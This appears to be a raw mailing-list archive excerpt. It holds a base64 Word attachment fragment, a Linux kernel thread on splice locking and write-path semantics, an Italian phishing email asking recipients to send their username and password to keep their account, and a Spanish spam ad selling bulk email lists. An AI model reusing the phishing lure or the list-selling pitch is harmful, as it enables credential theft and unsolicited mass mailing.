0QEAANIBAADTAQAA1AEAANUBAADWAQAA1wEAANgBAADZAQAA2gEAANsBAADcAQAA3QEAAN4BAADf AQAA4AEAAOEBAADiAQAA4wEAAOQBAADlAQAA5gEAAOcBAADoAQAA6QEAAOoBAADrAQAA7AEAAO0B AADuAQAA7wEAAPABAADxAQAA8gEAAPMBAAD0AQAA9QEAAPYBAAD3AQAA+AEAAPkBAAD6AQAA+wEA APwBAAD9AQAA/gEAAP8BAAAAAgAAAQIAAAICAAADAgAABAIAAAUCAAAGAgAABwIAAAgCAAAJAgAA CgIAAAsCAAAMAgAADQIAAA4CAAAPAgAAEAIAABECAAASAgAAEwIAABQCAAAVAgAAFgIAABcCAAAY AgAAGQIAABoCAAAbAgAAHAIAAB0CAAAeAgAAHwIAACACAAAhAgAAIgIAACMCAAAkAgAAJQIAACYC AAAnAgAAKAIAACkCAAAqAgAAKwIAACwCAAAtAgAALgIAAC8CAAAwAgAAMQIAADICAAAzAgAANAIA ADUCAAA2AgAANwIAADgCAAA5AgAAOgIAADsCAAA8AgAAPQIAAD4CAAA/AgAAQAIAAEECAABCAgAA QwIAAEQCAABFAgAARgIAAEcCAABIAgAASQIAAEoCAABLAgAATAIAAE0CAABOAgAATwIAAFACAABR AgAAUgIAAFMCAABUAgAAVQIAAFYCAABXAgAAWAIAAFkCAABaAgAAWwIAAFwCAABdAgAAXgIAAF8C AABgAgAAYQIAAGICAABjAgAAZAIAAGUCAABmAgAAZwIAAGgCAABpAgAAagIAAGsCAABsAgAAbQIA AG4CAABvAgAAcAIAAHECAAByAgAAcwIAAHQCAAB1AgAAdgIAAHcCAAB4AgAAeQIAAHoCAAB7AgAA fAIAAH0CAAB+AgAAfwIAAIACAACBAgAAggIAAIMCAACEAgAAhQIAAIYCAACHAgAAiAIAAIkCAACK AgAAiwIAAIwCAACNAgAAjgIAAI8CAACQAgAAkQIAAJICAACTAgAAlAIAAJUCAACWAgAAlwIAAJgC AACZAgAAmgIAAJsCAACcAgAAnQIAAJ4CAACfAgAAoAIAAKECAACiAgAAowIAAKQCAAClAgAApgIA AKcCAACoAgAAqQIAAKoCAACrAgAArAIAAK0CAACuAgAArwIAALACAACxAgAAsgIAALMCAAC0AgAA tQIAALYCAAC3AgAAuAIAALkCAAC6AgAAuwIAALwCAAC9AgAAvgIAAL8CAADAAgAAwQIAAMICAADD AgAAxAIAAMUCAADGAgAAxwIAAMgCAADJAgAAygIAAMsCAADMAgAAzQIAAM4CAADPAgAA0AIAANEC AADSAgAA0wIAANQCAADVAgAA1gIAANcCAADYAgAA2QIAANoCAADbAgAA3AIAAN0CAADeAgAA3wIA AOACAADhAgAA4gIAAOMCAADkAgAA5QIAAOYCAADnAgAA6AIAAOkCAADqAgAA6wIAAOwCAADtAgAA 7gIAAO8CAADwAgAA8QIAAPICAADzAgAA9AIAAPUCAAD2AgAA9wIAAPgCAAD5AgAA+gIAAPsCAAD8 AgAA/QIAAP4CAAD/AgAAAAMAAAEDAAACAwAAAwMAAAQDAAAFAwAABgMAAAcDAAAIAwAACQMAAAoD AAALAwAADAMAAA0DAAAOAwAADwMAABADAAARAwAAEgMAABMDAAAUAwAAFQMAABYDAAAXAwAAGAMA ABkDAAAaAwAAGwMAABwDAAAdAwAAHgMAAB8DAAAgAwAAIQMAACIDAAAjAwAAJAMAACUDAAAmAwAA JwMAACgDAAApAwAAKgMAACsDAAAsAwAALQMAAC4DAAAvAwAAMAMAADEDAAAyAwAAMwMAADQDAAA1 AwAANgMAADcDAAA4AwAAOQMAADoDAAA7AwAAPAMAAD0DAAA+AwAAPwMAAEADAABBAwAAQgMAAEMD AABEAwAARQMAAEYDAABHAwAASAMAAEkDAABKAwAASwMAAEwDAABNAwAATgMAAE8DAABQAwAAUQMA AFIDAABTAwAAVAMAAFUDAABWAwAAVwMAAFgDAABZAwAAWgMAAFsDAABcAwAAXQMAAF4DAABfAwAA YAMAAGEDAABiAwAAYwMAAGQDAABlAwAAZgMAAGcDAABoAwAAaQMAAGoDAABrAwAAbAMAAG0DAABu AwAAbwMAAHADAABxAwAAcgMAAHMDAAB0AwAAdQMAAHYDAAB3AwAAeAMAAHkDAAB6AwAAewMAAHwD AAB9AwAAfgMAAH8DAACAAwAAgQMAAIIDAACDAwAAhAMAAIUDAACGAwAAhwMAAIgDAACJAwAAigMA AIsDAACMAwAAjQMAAI4DAACPAwAAkAMAAJEDAACSAwAAkwMAAJQDAACVAwAAlgMAAJcDAACYAwAA mQMAAJoDAACbAwAAnAMAAJ0DAACeAwAAnwMAAKADAAChAwAAogMAAKMDAACkAwAApQMAAKYDAACn AwAAqAMAAKkDAACqAwAAqwMAAKwDAACtAwAArgMAAK8DAACwAwAAsQMAALIDAACzAwAAtAMAALUD AAC2AwAAtwMAALgDAAC5AwAAugMAALsDAAC8AwAAvQMAAL4DAAC/AwAAwAMAAMEDAADCAwAAwwMA AMQDAADFAwAAxgMAAMcDAADIAwAAyQMAAMoDAADLAwAAzAMAAM0DAADOAwAAzwMAANADAADRAwAA 0gMAANMDAADUAwAA1QMAANYDAADXAwAA2AMAANkDAADaAwAA2wMAANwDAADdAwAA3gMAAN8DAADg AwAA4QMAAOIDAADjAwAA5AMAAOUDAADmAwAA5wMAAOgDAADpAwAA6gMAAOsDAADsAwAA7QMAAO4D AADvAwAA8AMAAPEDAADyAwAA8wMAAPQDAAD1AwAA9gMAAPcDAAD4AwAA+QMAAPoDAAD7AwAA/AMA AP0DAAD+AwAA/wMAAAAEAAABBAAAAgQAAAMEAAAEBAAABQQAAAYEAAAHBAAACAQAAAkEAAAKBAAA CwQAAAwEAAANBAAADgQAAA8EAAAQBAAAEQQAABIEAAATBAAAFAQAABUEAAAWBAAAFwQAABgEAAAZ BAAAGgQAABsEAAAcBAAAHQQAAB4EAAAfBAAAIAQAACEEAAAiBAAAIwQAACQEAAAlBAAAJgQAACcE AAAoBAAAKQQAACoEAAArBAAALAQAAC0EAAAuBAAALwQAADAEAAAxBAAAMgQAADMEAAA0BAAANQQA ADYEAAA3BAAAOAQAADkEAAA6BAAAOwQAADwEAAA9BAAAPgQAAD8EAABABAAAQQQAAEIEAABDBAAA RAQAAEUEAABGBAAARwQAAEgEAABJBAAASgQAAEsEAABMBAAATQQAAE4EAABPBAAAUAQAAFEEAABS BAAAUwQAAFQEAABVBAAAVgQAAFcEAABYBAAAWQQAAFoEAABbBAAAXAQAAF0EAABeBAAAXwQAAGAE AABhBAAAYgQAAGMEAABkBAAAZQQAAGYEAABnBAAAaAQAAGkEAABqBAAAawQAAGwEAABtBAAAbgQA AG8EAABwBAAAcQQAAHIEAABzBAAAdAQAAP7///92BAAAdwQAAHgEAAB5BAAAegQAAHsEAAB8BAAA fQQAAH4EAAB/BAAAgAQAAIEEAACCBAAA/v///4QEAACFBAAAhgQAAIcEAACIBAAAiQQAAIoEAAD+ ////jAQAAI0EAACOBAAAjwQAAJAEAACRBAAAkgQAAP7////9/////f////3////9/////f////3/ ///9/////f////3////9////ngQAAP7////+/////v////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////////////UgBvAG8AdAAgAEUAbgB0AHIAeQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAABYABQH//////////wMAAAAGCQIAAAAAAMAAAAAAAABGAAAA AAAAAAAAAAAA8D3pQm8QzwGgBAAAgAAAAAAAAABEAGEAdABhAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgACAf///////////////wAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPoAAABu9QYAAAAAADEAVABhAGIAbABlAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOAAIBAQAA AAYAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdQQAAOAbAAAAAAAA VwBvAHIAZABEAG8AYwB1AG0AZQBuAHQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAABoAAgECAAAABQAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAzvIBAAAAAAAFAFMAdQBtAG0AYQByAHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAKAACAf///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAIMEAAAAEAAAAAAAAAUARABvAGMAdQBtAGUAbgB0AFMAdQBtAG0AYQBy AHkASQBuAGYAbwByAG0AYQB0AGkAbwBuAAAAAAAAAAAAAAA4AAIBBAAAAP//////////AAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiwQAAAAQAAAAAAAAAQBDAG8AbQBwAE8AYgBq AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIAAgD///// //////////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcQAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAP///////////////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAEAAAD+//////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ////////////////AQD+/wMKAAD/////BgkCAAAAAADAAAAAAAAARh8AAABNaWNyb3NvZnQgT2Zm aWNlIFdvcmQgRG9jdW1lbnQACgAAAE1TV29yZERvYwAQAAAAV29yZC5Eb2N1bWVudC44APQ5snEA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAA= --_a0eb4fbd-f6ae-43bf-82e5-03d2b8736e0d_-- From viro@ftp.linux.org.uk Tue Jan 14 11:20:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 734D87F3F for ; Tue, 14 Jan 2014 11:20:55 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 3987D8F8035 for ; Tue, 14 Jan 2014 09:20:51 -0800 (PST) X-ASG-Debug-ID: 1389720045-04bdf00fdf6cb650001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id TxMMlw8rvAXLrzEk (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 14 Jan 2014 09:20:46 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1W37fF-0000rN-RP; Tue, 14 Jan 2014 17:20:33 +0000 Date: Tue, 14 Jan 2014 17:20:33 +0000 From: Al Viro To: Christoph Hellwig Cc: Jens Axboe , Mark Fasheh , Joel Becker , linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Linus Torvalds , Sage Weil , Steve French Subject: Re: [PATCH 0/5] splice: locking changes and code refactoring Message-ID: <20140114172033.GU10323@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: [PATCH 0/5] splice: locking changes and code refactoring References: <20131212181459.994196463@bombadil.infradead.org> <20140113141416.GA30117@infradead.org> <20140113235646.GR10323@ZenIV.linux.org.uk> <20140114132207.GA25170@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140114132207.GA25170@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1389720045 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144082 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Jan 14, 2014 at 05:22:07AM -0800, Christoph Hellwig wrote: > On Mon, Jan 13, 2014 at 11:56:46PM +0000, Al Viro wrote: > > On Mon, Jan 13, 2014 at 06:14:16AM -0800, Christoph Hellwig wrote: > > > ping? Would be nice to get this into 3.14 > > > > Umm... The reason for pipe_lock outside of ->i_mutex is this: > > default_file_splice_write() calls splice_from_pipe() with > > write_pipe_buf for callback. splice_from_pipe() calls that > > callback under pipe_lock(pipe). And write_pipe_buf() calls > > __kernel_write(), which certainly might want to take ->i_mutex. > > > > Now, this codepath isn't taken for files that have non-NULL > > ->splice_write(), so that's not an issue for XFS and OCFS2, > > but having pipe_lock nest between the ->i_mutex for filesystems > > that do and do not have ->splice_write()... Ouch... > > What would be the alternative? Duplicating the code in even more > filesystems to enforce an non-natural locking order for filesystems > actually implementing splice? There don't actually seem to be a whole > lot of real filesystems not implemting splice_write, the prime use > would be for device drivers or synthetic ones. I'm not even sure > how much that fallback gets used in practice. Actually, I wonder if splice should be allowed just because destination has ->write() - for a lot of synthetic files the effect of writes really depends on boundaries in output stream and I'm not sure if splice to such a beast makes any sense. Going through fs/*: * 9p: messy when we have O_DIRECT on target file. Other than that, probably could use generic_file_splice_write(). * adfs, affs, afs, bfs, fat, hfs, hfs+, minix, sysv: can use generic_file_splice_write() * /proc/fs/afs/*: probably shouldn't allow splice at all * binfmt_misc: shouldn't allow splice * btrfs: not sure, O_DIRECT complicates the picture again. * cachefiles_daemon_write(): probably shouldn't allow splice at all * ceph: uses generic_file_splice_write(), but I'm not sure whether it is correct - there are interesting things done by ceph_aio_write() that do not have any counterparts on that path. * cifs: trouble; might be switchable to generic, but there's an interesting bit in the end of its ->aio_write() to consider... In any case, should be doable as generic_file_splice_write() + filemap_fdatawrite(). * cifs mounted with strict_io - ouch. Would need ->splice_write() of its own with really interesting locking order. * cifs with direct_io - about the same story. Er... Just where is it doing suid removal in that case, BTW? cifs_user_writev() doesn't seem to? * /proc/fs/cifs/*: shouldn't allow splice to it * coda: needs ->splice_write() with that patch, might or might not be tricky * coda misc device: shouldn't allow splice to it * configfs: shouldn't allow splice to it * debugfs default fops: blackhole ->write(), might as well offer blackhole ->splice_write(). Or refuse to allow splice to it, since I'd bet that most of non-default ones are of the "shouldn't allow splice to it" kind... * debugfs bool: shouldn't allow splice to it * dlm misc devices: shouldn't allow splice to it * ecryptfs: probably should use generic_file_splice_write() (incidentally, who the hell has thought it would be a good idea to put ->iterate (aka ->readdir) into file_operations of a non-directory?) * ecryptfs misc device: probably shouldn't allow splice to it at all * eventfd: shouldn't allow splice to it at all * XIP ext2: needs ->splice_write() with that patch And that's less than half of fs/*... I'm not saying that the current situation on the write side is good; hell, just the mess with write/aio_write alone is ugly enough - we have * a bunch of file_operations without ->aio_write(); simple enough. * a bunch with ->write == do_sync_write. Also simple. * several with NULL ->write and non-NULL ->aio_write(); same as do_sync_write() for ->write (socket, android/logger, kmsg, macvtap) * several with ->aio_write being an optimized equivalent of do_sync_write() (blackhole for /dev/null and /dev/zero, error for bad_inode) * 9p cached with its "oh, but if we have O_DIRECT we want ->write() to be different" (why not use a separate file_operations, then? It's not as if ->open() couldn't switch to it if it sees O_DIRECT...) * two infinibad things (ipath and qib), with completely unrelated semantics on write(2) and writev(2) (the latter shared with aio). As in "writev() of a single-element iovec array does things that do not even resemble what write() of the same data would've done". Yes, really - check for yourself. * snd_pcm - hell knows; it might be that it tries to collect the data from iovec and push it in one go, as if it was a single write, but then it might be something as bogus as what ipath is doing... * gadgetfs - hell knows; ep_write() seems to be doing something beyond what ep_aio_write() does, but I haven't traced them down the call chain... That one, BTW, won't be fun for splice - looks like it cares about datagram boundaries a lot, so it's not obvious what the semantics should be. * lustre. I _think_ do_sync_write() would work there, but I'm might be easily missing something in all those layers of obfusca^Wgood software development practices. And ->splice_write() thrown into that mess, defaulting to "just do ->write() or ->aio_write(), everything writable should be able to cope with splice to it" hasn't made it any prettier. Unfortunately, what you are proposing will make it worse - we'll have to grow a bunch of ->splice_write() instances, with non-trivial correspondence between them and ->aio_write() ones... It needs to be cleaned up, but it's nowhere near as simple as "just flip the order of i_mutex and pipe_lock" ;-/ BTW, speaking of ->aio_write() - why the devil do we pass the pos argument (long long, at that) separately, when all call sites provably have it equal to iocb->ki_pos? If nothing else, on a bunch of architectures it makes the difference between passing arguments in registers and spilling them on stack; moreover, if we do something and only then call generic_file_aio_write(), we get to propagate it all way down. And generic_file_aio_write() has had explicit BUG_ON(iocb->ki_pos != pos) since 2.5.55, for crying out loud... From adriana.silva@mct.gov.br Tue Jan 14 11:32:56 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_FRT_POSSIBLE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 481057F3F for ; Tue, 14 Jan 2014 11:32:56 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id C3AAFAC004 for ; Tue, 14 Jan 2014 09:32:52 -0800 (PST) X-ASG-Debug-ID: 1389720769-04cb6c537edb8b40001-w1Z2WR Received: from imsva.mct.gov.br (imsva.mct.gov.br [200.130.9.200]) by cuda.sgi.com with ESMTP id dRx5lYpvtjhVxYiC for ; Tue, 14 Jan 2014 09:32:50 -0800 (PST) X-Barracuda-Envelope-From: adriana.silva@mct.gov.br X-Barracuda-Apparent-Source-IP: 200.130.9.200 Received: from imsva.mct.gov.br (unknown [127.0.0.1]) by IMSVA (Postfix) with ESMTP id D00C64009C; Tue, 14 Jan 2014 15:32:44 -0200 (BRST) Received: from faraday.mct.gov.br (unknown [10.1.1.66]) by imsva.mct.gov.br (Postfix) with ESMTP id AFCE44009B; Tue, 14 Jan 2014 15:32:44 -0200 (BRST) Received: from webmail2.mct.gov.br (unknown [10.8.1.119]) by faraday.mct.gov.br (Postfix) with ESMTP id 9B7B43D026; Tue, 14 Jan 2014 14:32:45 -0300 (BRT) Received: from 41.203.67.134 ([41.203.67.134]) by webmail2.mct.gov.br (Horde Framework) with HTTP; Tue, 14 Jan 2014 15:45:36 -0200 Date: Tue, 14 Jan 2014 15:45:26 -0200 Message-ID: <20140114154526.Horde.3igQEOtFVCtS1Xe2W_QQfAA@webmail2.mct.gov.br> From: Adriana Ribeiro da Silva Subject: Attenzione: Subscriber Reply-To: accountconfirmation@vf.vc X-ASG-Orig-Subj: Attenzione: Subscriber User-Agent: Internet Messaging Program (IMP) H4 (5.0.19) Content-Type: multipart/alternative; boundary="=_SG3of_tFVCtS1Xe2W8KQfAA" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit To: undisclosed-recipients:; X-TM-AS-MML: disable X-TM-AS-Product-Ver: IMSVA-8.5.0.1165-7.1.0.1007-20432.000 X-TM-AS-User-Approved-Sender: Yes X-TMASE-Version: IMSVA-8.5.0.1165-7.1.1007-20432.000 X-TMASE-Result: 10--2.695700-5.000000 X-TMASE-MatchedRID: +Gnn4vg1rdzubZm2pYtMCCtVxIJue0UDUkEKaKcFVV2vFIwkEWlmL6Jv 4V2TxsYRRwdpYixZmBZC9pt6qaNZruAprNd+Ibfr+bvXQ4WMQ4jPNPy0dD+zZkdIslQGSDj9LA/ HEYcS9ih7c727dxO0xdpxco05lP4tNwJipNevEZqmxSkqL5mxKwPVpJ8l6YLrwi7pEAQ/9/2zxo gOYBEZMWlVVYw79HNvVn+cIUfNP9hmz/b/VIHfC/4MlFoGRJAGf1nLh9AX04ZPKi5Pvojl78Zk9 VPHDFshRAF4MQ0/o9tPVCP2LbZOJX9iUfTUiTcL8JZK9B4dSAN8yGO3dvk8/QJ1vk7thYuGbnEn W1oJ+5B2+AZuxakJy9NwUCEMfRZd1lfDCm9+EZUMH4SsGvRsAzPYPmH3aiShxd4c7Vi8SPuxFlC b6T1EneBPbNdhr3+dYo0TKOPYfqY6UXdJgbWvhlLx8mbbpBMD7CdRrE5eFYmOhzOa6g8KregdK6 V6ReM0IpIrZw5D5xA36rbLr0Ptdxz3R1JEeGx3/eweVcYYuR+uMYTF6vmkbDrHem5DqwG3F01kg 6YFH6p/8r0LeD8dw9i4LuDQDFUeYy+mzvI8KKRr+HvYVHEeuS56Wxs0AJQ7icl0PQ8VrMQeOXtB VFbT4OLrkquqs/KkJEGl1j5fs8u1Mt656Q4vkX7cGd19dSFd X-Barracuda-Connect: imsva.mct.gov.br[200.130.9.200] X-Barracuda-Start-Time: 1389720769 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144082 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This message is in MIME format. --=_SG3of_tFVCtS1Xe2W8KQfAA Content-Type: text/plain; charset=ISO-8859-1; format=flowed; DelSp=Yes Content-Description: Plaintext Message Content-Disposition: inline Content-Transfer-Encoding: 8bit Attenzione: Subscriber Siamo lieti di informarvi che la nostra Admin Center sta chiudendo tutti gli account inutilizzati a causa della congestione nella nostra posta elettronica server.To confermare il vostro account attivo. Anche Attualmente stiamo aggiornando la nostra base di dati e centro di account e-mail, si sono tenuti a completare i vostri dati qui sotto e inviarlo a noi. Questa informazione sarebbe necessaria per verificare l'account per evitare di essere chiuso. * Nome completo: * Nome utente: * E-mail: * Password: NOTA: Se avete fatto prima, possibile ignorare questa mail. Grazie per la vostra comprensione. Copyright Admin 2014 Tutti i diritti --=_SG3of_tFVCtS1Xe2W8KQfAA Content-Type: text/html; charset=ISO-8859-1 Content-Description: HTML Message Content-Disposition: inline Content-Transfer-Encoding: 8bit
Attenzione: Subscriber

Siamo lieti di informarvi che la nostra Admin Center sta chiudendo tutti gli account inutilizzati a causa della congestione nella nostra posta elettronica server.To confermare il vostro account attivo. Anche Attualmente stiamo aggiornando la nostra base di dati e centro di account e-mail, si sono tenuti a completare i vostri dati qui sotto e inviarlo a noi. Questa informazione sarebbe necessaria per verificare l'account per evitare di essere chiuso.

* Nome completo:
* Nome utente:
* E-mail:
* Password:

NOTA: Se avete fatto prima, possibile ignorare questa mail.

Grazie per la vostra comprensione.
Copyright Admin 2014 Tutti i diritti
--=_SG3of_tFVCtS1Xe2W8KQfAA-- From noreply@statusmail.com.ar Tue Jan 14 14:16:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.3 required=5.0 tests=HTML_IMAGE_RATIO_06, HTML_MESSAGE,LOTS_OF_MONEY,MIME_HTML_ONLY,SUBJECT_NEEDS_ENCODING, SUBJ_ILLEGAL_CHARS autolearn=no version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1240B7F3F for ; Tue, 14 Jan 2014 14:16:24 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id B25548F8037 for ; Tue, 14 Jan 2014 12:16:20 -0800 (PST) X-ASG-Debug-ID: 1389730576-04bdf00fe06d3320001-w1Z2WR Received: from smtp2.fidelitytools.net (smtp2.fidelitytools.net [190.210.161.152]) by cuda.sgi.com with ESMTP id tzgPgJ6MVrMzWW7a for ; Tue, 14 Jan 2014 12:16:16 -0800 (PST) X-Barracuda-Envelope-From: noreply@statusmail.com.ar X-Barracuda-Apparent-Source-IP: 190.210.161.152 Received: from hka-smtp-01 (200-127-167-22.net.prima.net.ar [200.127.167.22]) by smtp2.fidelitytools.net (Postfix) with ESMTP id 5788CC5055 for ; Tue, 14 Jan 2014 17:15:30 -0300 (ART) Received: from big-02.hka.com.ar (unknown [192.168.0.11]) by hka-smtp-01 (Postfix) with SMTP id 80B3A43D76 for ; Tue, 14 Jan 2014 14:15:33 -0300 (ART) From: "Lorena" To: linux-xfs@oss.sgi.com Subject: Diseamos y enviamos tu campaa por e-mail. Ms de 700.000 contactos de Arg Date: Tue, 14 Jan 2014 14:09:54 -0300 X-ASG-Orig-Subj: Diseamos y enviamos tu campaa por e-mail. Ms de 700.000 contactos de Arg Message-ID: <20140114-14095468-308@big-02.hka.com.ar> MIME-Version: 1.0 Content-Type: text/html X-Barracuda-Connect: smtp2.fidelitytools.net[190.210.161.152] X-Barracuda-Start-Time: 1389730576 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.28 X-Barracuda-Spam-Status: No, SCORE=1.28 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_IMAGE_RATIO_06, HTML_MESSAGE, MIME_HTML_ONLY, SUBJECT_NEEDS_ENCODING X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144086 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_IMAGE_RATIO_06 BODY: HTML has a low ratio of text to image area 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 1.28 SUBJECT_NEEDS_ENCODING SUBJECT_NEEDS_ENCODING STATUSmail - Email Mkt
   
Suc. Buenos Aires
Washington 4095
CP: C1430EVE
Tel: 011-5235-5480
Suc. Córdoba
Mendoza 195
CP: X5000LQC
Tel: 0351-425-3025
+470.000
Emails
de Empresas Argentinas
organizados por rubro y provincia
+310.000
Emails
de particulares
organizados por provincia

Nuestro Servicio

+

+
+
Asesoramiento
integral
 
Diseño HTML de su comunicación
 
Base de E-mails
segmentada
 
Envío a través de nuestros servidores


 
Ejemplos:
 


 
Plan
Valor Ar$
Comprar
 
Base 10.000 e-mails + Envío
$ 580,00
 
Base 26.000 e-mails + Envío
$ 894,00
 
Base 50.000 e-mails + Diseño + Envío
$ 1.410,00
 
Base 100.000 e-mails + Diseño + Envío
$ 2.070,00
 
Base 150.000 e-mails + Diseño + Envío
$ 2.550,00
 
Base 200.000 e-mails + Diseño + Envío
$ 2.760,00
 
Base 300.000 e-mails + Diseño + Envío
$ 3.680,00
ENVÍA UN 25% DE EMAILS ADICIONALES
CONTRATANDO TU PLAN ANTES DEL 01/02/2014
Valores con IVA no incluido - Valor Diseño $ 150 + iva


STATUSmail
Inteligencia en campañas de Email MKT

Sucursal Buenos Aires
Washington 4095
Buenos Aires - Argentina
Tel: (+54) 011- 5235-5480

E-mail: info@statusmail.com.ar
Web: www.statusmail.com.ar


Sucursal Córdoba
Mendoza 195
Córdoba - Argentina
Tel: (+54) 0351- 425-3025

